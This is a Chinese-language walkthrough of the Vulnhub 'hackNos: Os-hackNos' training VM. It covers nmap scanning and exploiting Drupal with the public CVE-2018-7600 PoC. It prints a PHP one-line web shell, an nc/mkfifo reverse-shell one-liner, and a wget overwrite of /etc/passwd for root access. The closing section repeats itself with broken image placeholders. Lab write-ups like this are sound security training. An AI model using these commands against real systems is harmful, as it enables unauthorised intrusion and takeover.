hackNos靶机

靶机训练1 - hackNos: Os-hackNos

  • 靶机平台

    Vulnhub

    • 是一个提供各种漏洞环境的靶场平台,供安全爱好者学习使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。

靶机相关漏洞

前期准备

靶机介绍

  • 靶机下载地址
  • flag:2个flag第一个user.txt和第二个root.txt
  • 学习内容:
    • exploit(利用)
    • Web Application(Web应用程序 )
    • Enumeration(枚举)
    • Privilege Escalation(权限提升)

靶机安装

  • 从靶机下载地址下载靶机的镜像文件
  • 打开vmware,直接导入(打开)虚拟机
    • 有可能遇到的问题
      • vmware的虚拟机无法使用桥接模式联网
      • 原因
        • vmware选择bridged模式时,要把网卡选为真实网卡,不能选到virtualbox的虚拟网卡上
        • VMware打开虚拟网络编程器
        • 去掉VOBX的虚拟网卡 ,或者把自动改为你电脑的网卡

第一步:启动靶机时按下 shift 键,

  • 进入以下界面

第二步:选择第二个选项,然后按下 e 键,进入编辑界面

将这里的ro修改为rw single init=/bin/bash,然后按ctrl+x,进入一个相当于控制台的界面,里面可以执行命令

ip a 查看一下实际用的网卡,这里是ens33

vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,如果不一致,则将这两个都改成 ens33

  • 按下 i 即可进入编辑模式

/etc/init.d/networking restart 重启网卡服务

  • 启动靶机
    • 靶机默认采用的是桥接模式

渗透流程

1.获取网段

  • 扫描本地网段地址、

找到攻击目标的IP地址

kali命令

1.列出所有网段

复制代码
netdiscover  -i eth0 -r 192.168.31.0/24
  • 或者通过nmap主机探测的获取其 IP地址

    armasm 复制代码
    nmap -sP 192.168.31.0/24
    -sP: 只进行Ping扫描,使用该选项扫描可以轻易地获取目标信息而不会被轻易发现
    在默认情况下,Nmap会发送一个ICMP请求和一个TCP报文到目标端口
    不会返回太多的信息造成对结果的分析,并且这是一种非常高效的扫描方式

2.指定ip进行收集扫描详细信息,

复制代码
nmap -sV -sC -A  192.168.16.249

-sV 扫描一个主机的所有TCP端口,同时显示服务和版本信息.

-sC 扫描一个主机的所有TCP端口,同时使用默认脚本扫描,脚本在Nmap的安装目录下的scripts目录中

-A 扫描整个网络中的所有主机,探测操作系统类型和版本.

访问页面

2.目录扫描

使用kali下的gobuster工具扫描

复制代码
 gobuster  dir -u http://192.168.16.249   -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  

扫描结果访问

http://192.168.16.249/drupal

3.cms获取

浏览器访问可以看到这是一个drupal的一个php的内容管理系统(CMS),

cmseek扫描结果

复制代码
cmseek -u http://192.168.16.249/drupal/      

访问尝试

http://192.168.16.249/drupal/CHANGELOG.txt

4.exp搜索利用

github搜索

得到poc

kali下载:

复制代码
git clone https://github.com/pimps/CVE-2018-7600   

下载完成进入目录

执行py获取参数提示

复制代码
python drupa7-CVE-2018-7600.py -h

该漏洞为远程代码执行

poc利用

复制代码
 python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c whoami

-c可以执行命令

复制代码
python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c ls

列出文件

访问

进入后发现没有内容,需要使用kali下刚刚poc的命令方法访问。

这里加上""号

复制代码
python drupa7-CVE-2018-7600.py  http://192.168.16.249/drupal/ -c "cat ./sites/default/settings.php" 

看到数据库文件及密码

保存下来

这时候可以尝试扫描 http://192.168.16.249/drupal/下的目录

5.拿shell

1.首先创建你的一句话木马文件

复制代码
<?php  system($_POST['binge']);   ?>

2.在exp测目录下开启python带的httpserver,查看ip

复制代码
python -m SimpleHTTPServer
# 如果出现报错:Python -- No Module named SimpleHTTPServer
# 这是因为python的http server的module名字变了,改用
python -m http.server 

解释:

启动一个HTTP Server,然后通过访问该服务下载资源。

Python 的标准库中内置了Http Server, 可以通过如下方式使用:

对于 Python3,使用方式为:

text 复制代码
python -m http.server # 默认端口号为8000

对于 Python2, 使用方式为:

text 复制代码
python -m SimpleHTTPServer # 默认端口号为8000

在浏览器里输入http://localhost:端口 可以访问服务器下的资源。

正常访问:

新建终端,在靶场上传木马文件

6.通过代理,抓包改包

访问上传成功的地址,带上后门的地址参数,抓包

复制代码
http://192.168.16.249/drupal/binge.php?binge=id

发送到repeater模块

发送成功过去到id得出的命令数据

也可以执行其他命令

6.反弹shell

1.开启一个终端监听设置监听端口

复制代码
nc -lvnp 9001

在burp中受害者反弹执行

复制代码
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc  192.168.16.249  9001 >/tmp/f

发送没有监听成功,需要进行编码,直接burp中进行 url encode 编码即可:

不一致可以切换 shell

rust 复制代码
python3 -c 'import pty;pty.spawn("/bin/bash")'

成功得到反弹shell

ctrl+z将其放到后台中。

7.shell利用

查询当前用户及密码信息

复制代码
cat /etc/passwd

查看当前存在的用户

复制代码
cd /home

ls

看到有个james

复制代码
james:x:1000:1000:james,,,:/home/james:/bin/bash

查看里面,发现有个user.txt,查看里面内容获取到第一个flag

尝试查看root 目录,发现没有权限

返回上一级目录,看到一个可疑文件 alexander.txt

base64解密

搜索后发现为Brainfuck加密

网上搜索解密:

尝试登录用户james,登录失败

无法进行登录

使用ssh进行连接

失败

复制代码
ssh James@192.168.16.180

8.提权

只能使用提权了

wget,是可以下载文件的,普通用户也可以执行,可以用来替换我们的/etc/password,需要先把 /etc/passwd 文件中的信息复制并保存到靶机文件目录下

1.把/etc/passwd下的文件全部复制下来

2.生成一个linux账号和密码

工具 kali下的openssl

复制代码
openssl passwd -1 -salt sb 123456
复制代码
账号为:sb 密码为:$1$sb$F5r2uVGoXeYu3n6kEFOqz1

新建一个passwd的文件,复制root,替换里面为新建的账号

开了 httpserver服务器

复制代码
python -m http.server      

访问 127.0.0.1:8000查看文件是否存在

在 shell 中通过wget命令下载并查看是否成功

复制代码
wget http://192.168.16.180:8000/passwd -O /etc/passwd

wd -1 -salt sb 123456

复制代码
[外链图片转存中...(img-lEXBfhjd-1691824534371)]

账号为:sb 密码为: 1 1 1sb$F5r2uVGoXeYu3n6kEFOqz1

复制代码
新建一个passwd的文件,复制root,替换里面为新建的账号

[外链图片转存中...(img-4UQk0hen-1691824534371)]





开了 httpserver服务器

python -m http.server

复制代码
访问 127.0.0.1:8000查看文件是否存在

[外链图片转存中...(img-1BWBKNjh-1691824534372)]



在 shell 中通过wget命令下载并查看是否成功

wget http://192.168.16.180:8000/passwd -O /etc/passwd

复制代码
[外链图片转存中...(img-A9IgylIi-1691824534372)]



切换账号后,即可得到 root 权限
相关推荐
老K(郭云开)31 分钟前
谷歌浏览器安全输入控件-allWebSafeInput控件
安全
Whoisshutiao1 小时前
网安-XSS-pikachu
前端·安全·网络安全
还是奇怪2 小时前
Linux - 安全排查 2
linux·运维·安全
Clownseven8 小时前
云端备份与恢复策略:企业如何选择最安全的备份解决方案
安全
薄荷椰果抹茶10 小时前
【网络安全基础】第六章---Web安全需求
安全·web安全
HumanRisk17 小时前
降低网络安全中的人为风险:以人为本的路径
网络·安全·web安全
运维开发王义杰18 小时前
金融安全生命线:用AWS EventBridge和CloudTrail构建主动式入侵检测系统
安全·金融·aws
安全系统学习20 小时前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss
加密狗复制模拟21 小时前
坚石ET ARM加密狗复制模拟介绍
安全·软件工程·个人开发
galaxylove1 天前
Gartner发布塑造安全运营未来的关键 AI 自动化趋势
人工智能·安全·自动化